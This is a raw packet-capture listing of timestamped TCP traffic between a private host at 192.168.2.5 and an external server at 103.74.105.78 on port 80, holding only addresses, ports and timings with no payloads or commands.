Apr 11, 2024 10:39:56.168487072 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.168521881 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.168540001 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.168564081 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.168601990 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.168620110 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.168639898 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.168678999 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.168693066 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.168735027 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.168785095 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.504343033 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.504473925 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.504512072 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.504549026 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.504559994 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.504591942 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.504631042 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.504638910 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.504686117 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.504687071 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.504725933 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.504764080 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.504776001 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.504801989 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.504837990 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.504853010 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.504875898 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.504910946 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.504928112 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.504947901 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.504985094 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.504997969 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.505022049 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.505058050 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.505072117 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.505095959 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.505132914 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.505155087 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.505172968 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.505223989 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.841145039 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.841259003 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.841335058 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.841425896 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.841480970 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.841481924 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.841516018 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.841589928 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.841662884 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.841664076 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.841717958 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.841780901 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.841821909 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.841859102 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.841938972 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.841948032 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842031956 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842096090 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.842098951 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842137098 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842174053 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842192888 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.842211962 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842247009 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842283964 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842288971 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.842320919 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842339993 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.842358112 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842394114 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842412949 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.842430115 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842467070 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842483997 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.842504978 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842540979 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842561007 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.842576981 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842612028 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842643023 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.842648029 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842684984 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842705965 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.842720032 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842756987 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842773914 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.842794895 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842829943 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842845917 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.842868090 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842904091 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842922926 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.842938900 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842974901 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.842991114 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.843012094 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.843045950 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.843060970 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.843084097 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.843120098 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.843138933 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.843158960 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.843194008 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.843209982 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:56.843233109 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:56.843291998 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.178673983 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.178805113 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.178926945 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.178992987 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179029942 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179028988 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.179104090 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.179117918 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179210901 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.179233074 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179310083 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179354906 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179368973 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.179434061 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179483891 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179497957 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.179558039 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179619074 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.179636002 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179672956 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179708958 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179745913 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.179755926 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179811954 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179821968 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.179851055 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179889917 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179923058 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.179925919 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179965019 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.179984093 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.180001974 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180037975 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180058002 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.180077076 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180113077 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180141926 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.180149078 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180186987 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180212021 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.180254936 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180291891 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180318117 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.180329084 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180366039 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180387020 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.180402040 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180438995 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180474043 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.180475950 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180514097 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180551052 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180572033 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.180588007 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180624962 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180634022 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.180661917 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180685997 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.180697918 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180736065 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180754900 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.180773973 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180809975 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180834055 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.180846930 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180883884 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180905104 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.180923939 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180960894 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.180977106 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.180999041 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.181034088 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.181051016 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.181070089 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.181112051 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.181133032 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.181148052 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.181185007 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.181205988 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.181221962 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.181258917 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.181278944 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.227569103 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.519114017 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.519253016 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.519292116 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.519342899 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.519386053 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.519454956 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.519484043 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.519582033 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.519642115 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.519654989 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.519700050 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.519762993 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.519768953 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.519870996 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.519926071 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.519931078 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.520001888 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520064116 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.520077944 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520138979 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520175934 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520198107 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.520246029 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520297050 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520309925 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.520334959 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520374060 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520399094 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.520411015 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520447969 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520471096 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.520486116 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520524025 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520543098 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.520560980 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520596981 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520617962 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.520637035 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520675898 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520698071 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.520714045 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520756006 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520777941 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.520792961 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520831108 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520854950 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.520867109 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520905972 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520925999 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.520944118 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.520981073 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521007061 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.521018028 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521055937 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521078110 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.521094084 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521131992 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521153927 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.521171093 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521208048 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521229982 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.521245956 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521281958 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521301985 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.521318913 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521356106 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521377087 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.521393061 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521430016 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521452904 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.521467924 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521503925 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521522999 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.521541119 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521578074 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521599054 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.521615982 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521652937 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521672010 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.521691084 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521729946 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.521752119 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.564336061 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.564440012 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857007027 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857043028 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857073069 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857090950 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857140064 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857142925 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857171059 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857183933 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857188940 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857207060 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857222080 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857233047 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857253075 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857254028 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857271910 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857297897 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857315063 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857326984 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857332945 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857353926 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857367992 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857388020 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857407093 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857424021 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857451916 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857460022 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857480049 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857496977 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857510090 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857517004 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857548952 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857553005 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857577085 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857594967 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857609034 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857610941 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857640028 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857644081 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857657909 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857688904 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857690096 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857718945 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857736111 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857748032 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857764006 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857779980 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857788086 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857795954 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857827902 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857836008 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857846022 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857875109 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857880116 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857892990 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857908964 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857925892 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857929945 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:39:57.857943058 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:39:57.857959986 CEST	80	49705	103.74.105.78	192.168.2.5
